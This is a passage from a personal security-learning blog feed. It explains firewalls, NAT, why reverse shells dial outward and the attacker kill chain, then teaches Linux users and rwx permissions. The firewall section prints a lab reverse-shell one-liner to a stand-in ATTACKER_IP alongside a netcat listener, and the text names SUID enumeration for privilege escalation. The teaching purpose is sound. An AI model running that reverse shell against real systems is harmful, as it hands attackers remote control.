    <tr>
      <td>Knows about handshakes?</td>
      <td>No</td>
      <td>Yes — remembers the 5-tuple of established connections</td>
    </tr>
    <tr>
      <td>Reply traffic</td>
      <td>Must be allowed by an explicit rule</td>
      <td>Automatically allowed because it belongs to a connection I started</td>
    </tr>
  </tbody>
</table>

<p>Modern firewalls are <strong>stateful</strong> — they keep a connection table of the 5-tuples of active sessions. This is why I can browse the web freely: I initiated the connection outbound, so the firewall remembers it and lets Google’s replies back in without an inbound rule. That’s the key that makes reverse shells work below.</p>

<h3 id="nat--defense-by-accident">NAT — defense by accident</h3>

<p>NAT was invented to solve the IPv4 shortage (many devices sharing one public IP, the <strong>NAT</strong> chapter earlier), but it doubles as a firewall-like barrier.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INSIDE (private)             ROUTER/NAT           OUTSIDE (internet)
192.168.1.24:51324  ----&gt; 203.0.113.5:40000  ----&gt; 142.250.182.14:443
192.168.1.40:52001  ----&gt; 203.0.113.5:40001  ----&gt; ...
      |                        |
 private IPs              one public IP, rewrites source IP+port,
 (not routable)           keeps a translation table
</code></pre></div></div>

<p>The NAT device keeps a translation table mapping inside <code class="language-plaintext highlighter-rouge">IP:port</code> ↔ public <code class="language-plaintext highlighter-rouge">IP:port</code>. When a reply comes back to <code class="language-plaintext highlighter-rouge">203.0.113.5:40000</code>, it looks up the table and forwards it to <code class="language-plaintext highlighter-rouge">192.168.1.24:51324</code>.</p>

<p>Why NAT blocks inbound attacks: an attacker who sends a packet to <code class="language-plaintext highlighter-rouge">203.0.113.5:40000</code> out of the blue hits a NAT table with <em>no entry</em> for that unsolicited inbound connection → the router has nothing to translate it to → dropped.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Internet -&gt; my laptop directly:  blocked (no NAT mapping exists)
My laptop -&gt; internet -&gt; reply:  works (mapping created when I sent out)
</code></pre></div></div>

<p>(Deliberate exceptions: <strong>port forwarding</strong> manually maps a public port to an internal host — e.g. to run a game server. Each forward is also a hole in the defense.)</p>

<h3 id="the-defenders-takeaway">The defender’s takeaway</h3>

<p>The combination — stateful firewall + NAT, both default-deny on inbound — means unsolicited inbound connections are blocked, and only traffic belonging to connections initiated from inside is allowed. That’s the default posture of nearly every home and corporate network.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># See the macOS packet filter firewall (pf)
sudo pfctl -s rules

# Linux: list firewall rules
sudo iptables -L -n -v          # legacy
sudo nft list ruleset           # modern nftables
sudo ufw status verbose         # Ubuntu's simple frontend
</code></pre></div></div>

<h3 id="why-reverse-shells-dial-outward-to-beat-all-this">Why reverse shells dial outward to beat all this</h3>

<p>This is the punchline that ties firewalls, NAT, and stateful tracking together. The attacker’s problem: they’ve found a vulnerability and can run a command on a victim behind a firewall + NAT, and they want a shell. But:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BIND SHELL (the naive approach):
  victim opens a listening port, attacker connects IN
  Attacker ---- connect inbound ---X  [FIREWALL/NAT blocks it]  Victim:4444
  -&gt; FAILS. Inbound is denied. No NAT mapping. Dead.

REVERSE SHELL (flip the direction):
  attacker listens; VICTIM connects OUT to the attacker
  Attacker:443 &lt;---- victim dials outbound ----  Victim
  -&gt; WORKS. Outbound is allowed (default), NAT creates a mapping,
     stateful firewall remembers it, replies flow freely.
</code></pre></div></div>

<p>Why it defeats the defenses:</p>

<ul>
  <li>Firewalls/NAT block inbound but freely allow outbound (you can’t browse otherwise).</li>
  <li>The victim <em>initiating</em> the connection creates the NAT mapping + stateful table entry — so the return traffic (the attacker’s commands) is treated as legitimate “reply” traffic.</li>
  <li>Attackers pick ports like <code class="language-plaintext highlighter-rouge">443</code> so the outbound connection blends in with normal HTTPS and survives even stricter egress filtering.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Classic demo (LAB ONLY, machines you own):
# Attacker listens:
nc -lvnp 443
# Victim connects back and hands over a shell:
bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/443 0&gt;&amp;1
</code></pre></div></div>

<p>The defender’s counter is <strong>egress filtering</strong> — restrict <em>outbound</em> traffic too (only allow outbound to known destinations/ports), plus monitor for unexpected outbound connections. Most networks neglect this, which is exactly why reverse shells are so reliable.</p>

<h2 id="the-attack-flow">The Attack Flow</h2>

<p>Recon → Scan → Find the weak door → Get in. How every chapter above connects to real hacking.</p>

<p>Every topic so far is a <em>tool</em>. This is the methodology that chains them into a real intrusion. The standard model: Recon → Scan → Find the weak door → Get in → (Escalate → Persist → Pivot).</p>

<h3 id="the-full-kill-chain">The full kill chain</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. RECON      -&gt;  2. SCAN       -&gt;  3. FIND THE   -&gt;  4. GET IN
   (passive)         (active)          WEAK DOOR        (exploit)
   Who/what is       What ports/       Which service    Reverse
   the target?       versions?         is vulnerable?   shell / creds
                                                            |
   +--------------------------------------------------------+
   v
5. ESCALATE   -&gt;  6. PERSIST    -&gt;  7. PIVOT /
   low -&gt; root       keep access       EXFILTRATE
   (SUID/sudo)       (backdoor)        spread/loot
</code></pre></div></div>

<h3 id="stage-by-stage--and-which-chapter-does-it">Stage by stage — and which chapter does it</h3>

<p><strong>Stage 1 — Recon.</strong> Gather information before touching the target loudly. <em>Passive</em>: public info — DNS records (<code class="language-plaintext highlighter-rouge">dig</code>, <code class="language-plaintext highlighter-rouge">whois</code>), search engines, leaked data, the company website; the target never knows. <em>Active</em>: light probing — ping, identifying live hosts (<code class="language-plaintext highlighter-rouge">nmap -sn</code>). Goal: know the IP ranges, domains, and surface that exists.</p>

<p><strong>Stage 2 — Scan.</strong> Map the live target in detail: host discovery (<code class="language-plaintext highlighter-rouge">nmap -sn 192.168.1.0/24</code>), port scanning for open/listening doors (<code class="language-plaintext highlighter-rouge">nmap -sS -p-</code>), and service + version detection (<code class="language-plaintext highlighter-rouge">nmap -sV</code>). Output: a list like <code class="language-plaintext highlighter-rouge">22/ssh OpenSSH 7.6</code>, <code class="language-plaintext highlighter-rouge">80/http Apache 2.4.29</code>, <code class="language-plaintext highlighter-rouge">445/smb</code>.</p>

<p><strong>Stage 3 — Find the weak door.</strong> Turn the scan into a target. For each open service: look up the exact version against CVE databases / Exploit-DB; check for outdated software with known exploits, default/weak credentials, misconfigurations, exposed admin panels, and web-app flaws (OWASP Top 10: SQLi, etc.). Wireshark and Burp help inspect how a service actually behaves. Goal: pick the single highest-probability entry point.</p>

<p><strong>Stage 4 — Get in.</strong> Exploit the chosen weakness to gain code execution — run an exploit, abuse weak creds, or trick the app. The common payload is a <strong>reverse shell</strong> dialing back out through the firewall/NAT (the previous chapter). Result: a foothold, usually as a low-privileged user.</p>

<p><strong>Stage 5 — Privilege escalation.</strong> Go from low-priv user to root/admin. Enumerate the box: misconfigured SUID binaries (<code class="language-plaintext highlighter-rouge">find / -perm -4000</code>), abusable sudo rules, weak file permissions, kernel exploits, readable credentials. A SUID-root binary or a permissive sudo rule is the local “door upward.” Result: full control — now <code class="language-plaintext highlighter-rouge">/etc/shadow</code> and everything else is readable.</p>

<p><strong>Stage 6 — Persistence.</strong> Keep access even after reboot/patch: backdoors, new accounts, cron jobs, SSH keys, a stashed SUID shell. Goal: don’t have to re-exploit to get back in.</p>

<p><strong>Stage 7 — Pivot / exfiltrate.</strong> Use this machine as a launchpad. <em>Pivot</em>: the compromised host can now reach internal machines the firewall/NAT hid from outside — repeat the whole flow from inside. <em>Exfiltrate</em>: steal data (often out over 443/DNS to blend in). <em>Loot</em>: harvest credentials to move laterally.</p>

<h3 id="how-every-chapter-maps-onto-the-flow">How every chapter maps onto the flow</h3>

<table>
  <thead>
    <tr>
      <th>Chapter</th>
      <th>Where it’s used in the attack</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Layers / IP / NAT</td>
      <td>Understand the network and why inbound is blocked</td>
    </tr>
    <tr>
      <td>MAC / ARP</td>
      <td>Local MITM, sniffing, ARP-spoof to capture traffic</td>
    </tr>
    <tr>
      <td>DNS</td>
      <td>Recon (records), spoofing to redirect victims</td>
    </tr>
    <tr>
      <td>HTTP / TLS</td>
      <td>Inspect &amp; attack web apps; understand what’s encrypted</td>
    </tr>
    <tr>
      <td>Ports / TCP-UDP</td>
      <td>Know what services exist; handshake → scan techniques</td>
    </tr>
    <tr>
      <td>Open ports</td>
      <td>The doors — scanning finds them</td>
    </tr>
    <tr>
      <td>tcpdump / Wireshark</td>
      <td>See traffic, grab plaintext creds, detect/verify</td>
    </tr>
    <tr>
      <td>nmap</td>
      <td>The entire Scan + version-detection stage</td>
    </tr>
    <tr>
      <td>Firewalls / NAT</td>
      <td>Why reverse shells beat the perimeter</td>
    </tr>
    <tr>
      <td>Privilege escalation (SUID/sudo)</td>
      <td>Stage 5 — low-priv → root</td>
    </tr>
  </tbody>
</table>

<h3 id="the-defenders-mirror-image-blue-team">The defender’s mirror image (Blue Team)</h3>

<p>Every offensive stage has a defensive counter — this is how the two halves of security connect:</p>

<table>
  <thead>
    <tr>
      <th>Attacker does</th>
      <th>Defender counters with</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Recon / scan</td>
      <td>Minimize public info; IDS/IPS to detect scans</td>
    </tr>
    <tr>
      <td>Find open ports</td>
      <td>Close unused ports, firewall, reduce attack surface</td>
    </tr>
    <tr>
      <td>Exploit a service</td>
      <td>Patch (kill the CVE), least privilege, WAF</td>
    </tr>
    <tr>
      <td>Reverse shell out</td>
      <td>Egress filtering, outbound monitoring</td>
    </tr>
    <tr>
      <td>Privilege escalation</td>
      <td>Remove needless SUID/sudo, harden configs</td>
    </tr>
    <tr>
      <td>Persistence / pivot</td>
      <td>EDR, log monitoring, network segmentation (VLANs)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>Ethics &amp; legal: this methodology is taught for authorized penetration testing, defense, and labs only. Running any stage against systems you don’t own or lack written permission to test is a crime in most countries. Practice on TryHackMe, Hack The Box, your own VMs, or sanctioned engagements.</p>
</blockquote>

<hr />

<h1 id="it-all-connects">It All Connects</h1>

<p>I started this post with one idea: networking is split into floors, each does one job, and every tool and every attack lives on one floor. Having filled in every chapter, here’s the whole thing as a single thought.</p>

<p>A packet’s journey <em>is</em> the syllabus. A name becomes an IP (<strong>DNS</strong>); the IP says <em>which machine</em> and the subnet mask says whether it’s local or not (<strong>IP Addresses</strong>); inside the LAN, ARP turns that IP into a MAC for the actual hand-off (<strong>MAC/ARP</strong>); the port says <em>which program</em> and TCP or UDP carries it there, reliable or fast, after a handshake (<strong>Ports</strong>, <strong>TCP/UDP</strong>); on top rides the content — <strong>HTTP</strong> in the clear or wrapped in a <strong>TLS</strong> tunnel. NAT and a stateful <strong>firewall</strong> sit at the edge rewriting addresses and blocking anything inbound that nobody asked for (<strong>NAT</strong>, <strong>Firewalls</strong>). Every layer wraps the one above it — that’s encapsulation, the single mechanic the whole stack runs on.</p>

<p>The security half is the same map read with intent. Whatever can be <em>seen</em> can be <em>captured</em> (<strong>tcpdump/Wireshark</strong>); whatever <em>listens</em> is a door (<strong>Open Ports</strong>), and <strong>nmap</strong> is how you find and fingerprint those doors. The recurring weakness is <strong>trust without verification</strong> — ARP believes any reply, classic DNS believes any answer, plain HTTP hides nothing — and the recurring fix is <strong>cryptography that proves identity and scrambles content</strong> (TLS), plus <strong>default-deny at the edge</strong>. That’s why the <strong>attack flow</strong> runs Recon → Scan → Find the weak door → Get in → Escalate → Persist → Pivot, why a reverse shell dials <em>outward</em> to turn the firewall’s own “outbound is fine” rule against it, and why every offensive move has a Blue-Team mirror. Learn the floors once and the acronyms stop being a pile — they become positions on a single map.</p>

<h3 id="the-whole-post-in-one-diagram">The whole post, in one diagram</h3>

<p>Four floors, each doing one job, each with its own address, its own protocols, and the tools and attacks that live there:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────┬───────────────────┬───────────┬──────────────────┬─────────────────────┐
│ FLOOR       │ ITS ONE JOB       │ ADDRESS   │ LIVES HERE       │ TOOLS / ATTACKS     │
├─────────────┼───────────────────┼───────────┼──────────────────┼─────────────────────┤
│ Application │ what data means   │ names/URL │ HTTP DNS TLS     │ Burp, SQLi, XSS     │
│ Transport   │ which program     │ port      │ TCP UDP          │ nmap, SYN flood     │
│ Network     │ which machine     │ IP        │ IP NAT routing   │ ping, IP spoofing   │
│ Link        │ one physical hop  │ MAC       │ Ethernet ARP     │ tcpdump, ARP MITM   │
└─────────────┴───────────────────┴───────────┴──────────────────┴─────────────────────┘
</code></pre></div></div>

<p>And the same four floors as a packet actually travels them — down my stack, across the wire, up the server’s — wrapping an envelope at every floor (encapsulation) and unwrapping it on the way up:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        I type  https://example.com
                      │
   ┌──────────────────▼───────────────────────────────────────────────┐
   │  MY MACHINE — request rides the elevator DOWN                      │
   │                                                                    │
   │   Application   HTTP "GET /"            (DNS first: name -&gt; IP)     │
   │        │  wrap                                                     │
   │   Transport     + TCP header  ───────►  src/dst PORT, 3-way SYN    │
   │        │  wrap                                                     │
   │   Network       + IP header   ───────►  src/dst IP  (NAT rewrites) │
   │        │  wrap                                                     │
   │   Link          + Ethernet    ───────►  src/dst MAC (ARP: IP-&gt;MAC) │
   └──────────────────┬─────────────────────────────────────────────────┘
                      │
        bits on the wire ──►  my router (NAT + stateful firewall)
                      │              │  blocks unsolicited inbound
                      ▼              ▼
              ISP ──► internet ──► routers hop by hop ──► server's edge
                      │
   ┌──────────────────▼───────────────────────────────────────────────┐
   │  SERVER — each floor opens ONLY its own envelope, hands UP         │
   │   Link -&gt; Network -&gt; Transport -&gt; Application                      │
   │   ...reads "GET /", builds the reply, and the whole trip reverses. │
   └────────────────────────────────────────────────────────────────────┘

   Defense lives at the edge; the attack flow walks the doors:
   Recon ─► Scan ─► Find the weak door ─► Get in ─► Escalate ─► Persist ─► Pivot
</code></pre></div></div>

<p>That single picture is the whole post: the left-to-right map says <em>where every acronym lives</em>, and the top-to-bottom journey says <em>how a message actually moves and where each tool and attack plugs in.</em></p>

<hr />

<p><em>Living post — all fourteen chapters now filled in: Layers, IP Addresses, NAT, MAC/ARP, DNS, HTTP, Ports, TCP/UDP, Open Ports, tcpdump/Wireshark, TLS/HTTPS, nmap, Firewalls &amp; NAT Defense, and The Attack Flow. From here it’s depth, not coverage.</em></p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[I’m working through networking the way it actually matters for security — not as abstract theory, but as how a message travels, how two computers talk, and where every tool and every attack plugs in. This is one living post: fourteen chapters in four parts. Each chapter fills in with a proper definition as I learn it; the rest say coming soon until I get there.]]></summary></entry><entry><title type="html">Users, permissions &amp;amp; privilege (rwx, chmod, /etc/shadow)</title><link href="https://dilipgona.is-a.dev/users-permissions-privilege.html" rel="alternate" type="text/html" title="Users, permissions &amp;amp; privilege (rwx, chmod, /etc/shadow)" /><published>2026-06-11T00:00:00+00:00</published><updated>2026-06-11T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/users-permissions-privilege</id><content type="html" xml:base="https://dilipgona.is-a.dev/users-permissions-privilege.html"><![CDATA[<p>Everything in Linux security starts with one question the kernel asks on every single action: <em>who are you, and are you allowed?</em> Three pieces answer it — <strong>who</strong> (users and groups), <strong>what they can do</strong> (the <code class="language-plaintext highlighter-rouge">rwx</code> permission bits), and <strong>how you cross the line to root</strong> (privilege). This post walks the first piece end to end inside <a href="/docker-ubuntu-mac-run-linux-elf-spookypass.html">my RE/Linux container</a>, where I’m root and can safely create throwaway users to see permissions <em>from the other side</em>.</p>

<blockquote>
  <p>Companion to my <a href="https://github.com/dilipgonadev/learn-re">Linux for cybersecurity guide</a>. The rule there: never read a section without running it. Same here.</p>
</blockquote>

<hr />

<h2 id="1-users--who-the-system-thinks-you-are">1. Users — who the system thinks you are</h2>

<p>Start with the two commands you’ll run on every box you ever touch:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/work# whoami
root
root@7d69d3ea967a:/work# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">whoami</code> is just the name; <code class="language-plaintext highlighter-rouge">id</code> is the truth. <strong><code class="language-plaintext highlighter-rouge">uid=0</code> is root</strong> — that’s not a name the kernel cares about, it’s the <em>number zero</em>. Any account with <code class="language-plaintext highlighter-rouge">uid=0</code> is root, even if it’s called something else. That’s the first thing to check on a target: are there <em>other</em> uid-0 accounts hiding in the user list?</p>

<h3 id="survey-whats-already-there">Survey what’s already there</h3>

<p>Before creating anything, look at the two files that define every group and every account. Field 1 (cut on the <code class="language-plaintext highlighter-rouge">:</code> delimiter) is the name in both:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># get the list of groups on the system</span>
<span class="nb">cut</span> <span class="nt">-d</span>: <span class="nt">-f1</span> /etc/group

<span class="c"># get the list of users on the system</span>
<span class="nb">cut</span> <span class="nt">-d</span>: <span class="nt">-f1</span> /etc/passwd
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cut -d: -f1</code> means <em>split each line on <code class="language-plaintext highlighter-rouge">:</code> and keep field 1</em>. Both files are world-readable — listing users and groups needs no privilege at all, which is exactly why it’s step one of recon.</p>

<p>A <code class="language-plaintext highlighter-rouge">/etc/passwd</code> line is seven colon-separated fields. Memorise these — you read this file constantly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root : x : 0 : 0 : root : /root : /bin/bash
 │     │   │   │    │       │        └─ login shell  (/usr/sbin/nologin = can't log in)
 │     │   │   │    │       └────────── home directory
 │     │   │   │    └────────────────── GECOS (full name / comment)
 │     │   │   └─────────────────────── GID  (primary group id)
 │     │   └─────────────────────────── UID  (0 = root)
 │     └─────────────────────────────── password (x = "see /etc/shadow")
 └───────────────────────────────────── username
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">x</code> in field 2 is the bridge to privilege — the real password hash isn’t here, it’s in the root-only <code class="language-plaintext highlighter-rouge">/etc/shadow</code>. (More on that in §3.)</p>

<h3 id="add-a-group-and-some-users">Add a group and some users</h3>

<p>Because I’m root in the container, I can mint throwaway accounts. One shared group, two users:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>groupadd devs                    <span class="c"># a shared group</span>

useradd <span class="nt">-m</span> <span class="nt">-s</span> /bin/bash alice    <span class="c"># -m = make home dir, -s = give a real shell</span>
useradd <span class="nt">-m</span> <span class="nt">-s</span> /bin/bash bob
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-m</code> and <code class="language-plaintext highlighter-rouge">-s</code> matter: without <code class="language-plaintext highlighter-rouge">-m</code> there’s no home directory, and without <code class="language-plaintext highlighter-rouge">-s /bin/bash</code> the account gets no usable shell — <code class="language-plaintext highlighter-rouge">su</code> then drops you into a bare <code class="language-plaintext highlighter-rouge">sh</code> or fails outright.</p>

<h3 id="add-them-to-the-group-and-set-passwords">Add them to the group and set passwords</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/work# usermod -aG devs alice
root@7d69d3ea967a:/work# usermod -aG devs bob
root@7d69d3ea967a:/work# passwd alice
New password:
Retype new password:
passwd: password updated successfully
root@7d69d3ea967a:/work# passwd bob
New password:
Retype new password:
passwd: password updated successfully
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-aG</code> is a classic trap: the <code class="language-plaintext highlighter-rouge">-a</code> means <em>append</em>. <strong>Leave it out and <code class="language-plaintext highlighter-rouge">usermod -G devs alice</code> <em>replaces</em> all of alice’s other groups</strong> instead of adding one. Always <code class="language-plaintext highlighter-rouge">-aG</code>.</p>

<h3 id="confirm-whos-in-the-group">Confirm who’s in the group</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>getent group devs | <span class="nb">cut</span> <span class="nt">-d</span>: <span class="nt">-f4</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">getent group devs</code> prints the group’s line (<code class="language-plaintext highlighter-rouge">devs:x:&lt;gid&gt;:alice,bob</code>) and field 4 is the comma-separated member list — so this answers “who’s in devs?” in one shot.</p>

<h3 id="becoming-someone-else-su-and-the-privilege-asymmetry">Becoming someone else: <code class="language-plaintext highlighter-rouge">su</code> and the privilege asymmetry</h3>

<p><code class="language-plaintext highlighter-rouge">su - alice</code> switches user; the <code class="language-plaintext highlighter-rouge">-</code> gives a clean <em>login</em> shell (loads her environment, drops you into her home):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/work# su - alice
alice@7d69d3ea967a:~$ whoami
alice
alice@7d69d3ea967a:~$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice),1002(devs)
alice@7d69d3ea967a:~$ exit
logout
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">id</code> is where it clicks: alice has <strong>two</strong> groups — <code class="language-plaintext highlighter-rouge">alice</code> (her <em>primary</em> group, the one new files get) and <code class="language-plaintext highlighter-rouge">devs</code> (the <em>secondary</em> group I added her to). That second membership is what will let her read a <code class="language-plaintext highlighter-rouge">root:devs</code> file in §2. Group membership is the quiet half of permissions.</p>

<p>Here’s the part that teaches you how privilege flows: <strong>root can <code class="language-plaintext highlighter-rouge">su</code> to anyone with no password.</strong> Going <em>down</em> the privilege ladder is free. But have alice try to step up into root, and the system demands a password — because alice isn’t privileged. Downgrading is free; upgrading costs proof. That asymmetry <em>is</em> the security model, and §3 is all about the ways attackers cheat it.</p>

<h3 id="set-up-a-file-and-a-folder-to-test-permissions-from-each-side">Set up a file <em>and a folder</em> to test permissions from each side</h3>

<p>Last thing — drop a file in <code class="language-plaintext highlighter-rouge">/tmp</code> (not the shared <code class="language-plaintext highlighter-rouge">/work</code> mount) and lock it down, so §2 has something to poke at as alice:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /tmp
<span class="nb">echo</span> <span class="s2">"top secret"</span> <span class="o">&gt;</span> secret.txt

<span class="nb">chown </span>root:devs secret.txt     <span class="c"># owner = root, group = devs</span>
<span class="nb">chmod </span>640 secret.txt           <span class="c"># rw- r-- ---  → owner rw, group r, others nothing</span>
<span class="nb">ls</span> <span class="nt">-l</span> secret.txt               <span class="c"># -rw-r----- 1 root devs ... secret.txt</span>
</code></pre></div></div>

<p>Now do the same for a <strong>directory</strong>, because <code class="language-plaintext highlighter-rouge">rwx</code> means something different on a folder — and that surprise is worth setting up now:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir </span>vault
<span class="nb">chown </span>root:devs vault
<span class="nb">chmod </span>710 vault                <span class="c"># rwx --x ---  → owner full, group enter-only, others nothing</span>
<span class="nb">ls</span> <span class="nt">-ld</span> vault                   <span class="c"># drwx--x--- 2 root devs ... vault</span>
</code></pre></div></div>

<p>The group triad is <code class="language-plaintext highlighter-rouge">--x</code>: <strong>execute, but no read</strong>. On a file <code class="language-plaintext highlighter-rouge">x</code> means “run it”; on a <em>directory</em> it means “enter / traverse it” (<code class="language-plaintext highlighter-rouge">cd</code>), while <code class="language-plaintext highlighter-rouge">r</code> means “list its contents” (<code class="language-plaintext highlighter-rouge">ls</code>). They’re independent — and giving alice one without the other has a counter-intuitive result:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:/tmp$ cd vault/
alice@4eb5a9565ad2:/tmp/vault$ ls
ls: cannot open directory '.': Permission denied
alice@4eb5a9565ad2:/tmp/vault$ cd ..
</code></pre></div></div>

<p>She can <strong>walk into</strong> the directory (group <code class="language-plaintext highlighter-rouge">x</code>) but can’t <strong>list</strong> what’s inside it (no group <code class="language-plaintext highlighter-rouge">r</code>). If she already knew a filename in there she could even read that file — the <code class="language-plaintext highlighter-rouge">x</code> lets her traverse <em>through</em> the folder — but <code class="language-plaintext highlighter-rouge">ls</code> has nothing to stand on. Directory <code class="language-plaintext highlighter-rouge">r</code> and <code class="language-plaintext highlighter-rouge">x</code> are two separate keys.</p>

<p>Now the stage is set: <strong>root</strong> owns both, <strong>alice</strong> (in <code class="language-plaintext highlighter-rouge">devs</code>) is the <em>group</em>, and any user <em>not</em> in <code class="language-plaintext highlighter-rouge">devs</code> is <em>others</em>. On to the bits that actually gate them.</p>

<hr />

<h2 id="2-permissions--rwx-octal-and-chmod">2. Permissions — <code class="language-plaintext highlighter-rouge">rwx</code>, octal, and <code class="language-plaintext highlighter-rouge">chmod</code></h2>

<p>The file is <code class="language-plaintext highlighter-rouge">-rw-r----- root devs</code> (mode <code class="language-plaintext highlighter-rouge">640</code>). alice is in <code class="language-plaintext highlighter-rouge">devs</code>, so she’s the <strong>group</strong> — and group has exactly <code class="language-plaintext highlighter-rouge">r--</code>: read, no write. Let’s prove it from her shell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alice@4eb5a9565ad2:/tmp$ ls
secret.txt
alice@4eb5a9565ad2:/tmp$ ls -l
total 4
-rw-r----- 1 root devs 11 Jun 11 11:52 secret.txt
alice@4eb5a9565ad2:/tmp$ echo "alice here" &gt;&gt; secret.txt
-bash: secret.txt: Permission denied
</code></pre></div></div>

<p>She can <strong>see and read</strong> it (group <code class="language-plaintext highlighter-rouge">r</code>), but the append is <strong>denied</strong> — group has no <code class="language-plaintext highlighter-rouge">w</code>. That single <code class="language-plaintext highlighter-rouge">-</code> in the group triad is the whole reason. The kernel matched her to the <em>group</em> class and applied only those three bits; it never falls through to “others”, and it doesn’t add owner’s <code class="language-plaintext highlighter-rouge">w</code> just because she can read.</p>

<h3 id="reading-the-10-character-mode-line">Reading the 10-character mode line</h3>

<p>That <code class="language-plaintext highlighter-rouge">-rw-r-----</code> at the front of every <code class="language-plaintext highlighter-rouge">ls -l</code> line is the whole permission model in ten characters. Split it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> -      rw-      r--      ---
 │      └┬─┘     └┬─┘     └┬─┘
 │       u        g        o
 │      owner    group    other
 └─ file type
</code></pre></div></div>

<ul>
  <li><strong>Char 1 — type:</strong> <code class="language-plaintext highlighter-rouge">-</code> regular file, <code class="language-plaintext highlighter-rouge">d</code> directory, <code class="language-plaintext highlighter-rouge">l</code> symlink, <code class="language-plaintext highlighter-rouge">c</code>/<code class="language-plaintext highlighter-rouge">b</code> device.</li>
  <li><strong>Chars 2–4 — owner (u):</strong> what the <em>owning user</em> (here <code class="language-plaintext highlighter-rouge">root</code>) can do.</li>
  <li><strong>Chars 5–7 — group (g):</strong> what members of the <em>owning group</em> (<code class="language-plaintext highlighter-rouge">devs</code>, so alice) can do.</li>
  <li><strong>Chars 8–10 — other (o):</strong> everyone else — neither owner nor in the group.</li>
</ul>

<p>A letter means the permission is on; a <code class="language-plaintext highlighter-rouge">-</code> means it’s off. So <code class="language-plaintext highlighter-rouge">-rw-r-----</code> reads: <em>file · owner read+write · group read · others nothing.</em> That’s exactly the wall alice hit above.</p>

<p>The one rule that ties it together: <strong>the kernel checks just one class — owner first, else group, else other — and stops.</strong> Being in the group never adds the owner’s powers; “others” only applies to people who are neither. One bucket, three bits, done.</p>

<h3 id="r-w-x--and-why-directories-are-different"><code class="language-plaintext highlighter-rouge">r</code>, <code class="language-plaintext highlighter-rouge">w</code>, <code class="language-plaintext highlighter-rouge">x</code> — and why directories are different</h3>

<p>The three bits mean one thing on a file and a <em>completely</em> different thing on a directory. This table is the one to burn in:</p>

<table>
  <thead>
    <tr>
      <th>Bit</th>
      <th>On a <strong>file</strong></th>
      <th>On a <strong>directory</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>r</strong></td>
      <td>read the contents</td>
      <td><code class="language-plaintext highlighter-rouge">ls</code> — list the names inside</td>
    </tr>
    <tr>
      <td><strong>w</strong></td>
      <td>change the contents</td>
      <td>create / delete / rename entries</td>
    </tr>
    <tr>
      <td><strong>x</strong></td>
      <td>run it as a program</td>
      <td><code class="language-plaintext highlighter-rouge">cd</code> into it / traverse to items inside</td>
    </tr>
  </tbody>
</table>

<p>You already saw this split on <code class="language-plaintext highlighter-rouge">vault</code> in §1: alice had group <code class="language-plaintext highlighter-rouge">--x</code>, so she could <code class="language-plaintext highlighter-rouge">cd</code> in but <code class="language-plaintext highlighter-rouge">ls</code> was denied. Two more consequences that trip everyone up:</p>

<ul>
  <li><strong>Deleting a file is a directory write, not a file write.</strong> A read-only file (<code class="language-plaintext highlighter-rouge">r--r--r--</code>) sitting in a directory you <em>can</em> write is still deletable — <code class="language-plaintext highlighter-rouge">rm</code> edits the <em>directory’s</em> list of entries, not the file. Watch it happen as root:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@7d69d3ea967a:/tmp# mkdir demo &amp;&amp; touch demo/locked &amp;&amp; chmod 444 demo/locked
root@7d69d3ea967a:/tmp# rm demo/locked
rm: remove write-protected regular file 'demo/locked'? y
root@7d69d3ea967a:/tmp# ls demo
root@7d69d3ea967a:/tmp#
</code></pre></div></div>

<p>It asks (because the file is write-protected) but it <em>lets</em> you — the directory’s <code class="language-plaintext highlighter-rouge">w</code> is what counts.</p>

<ul>
  <li><strong>Write on a file ≠ permission to delete it.</strong> The mirror image: you can have full <code class="language-plaintext highlighter-rouge">rw-</code> on a file but be unable to remove it if its directory is read-only to you.</li>
</ul>

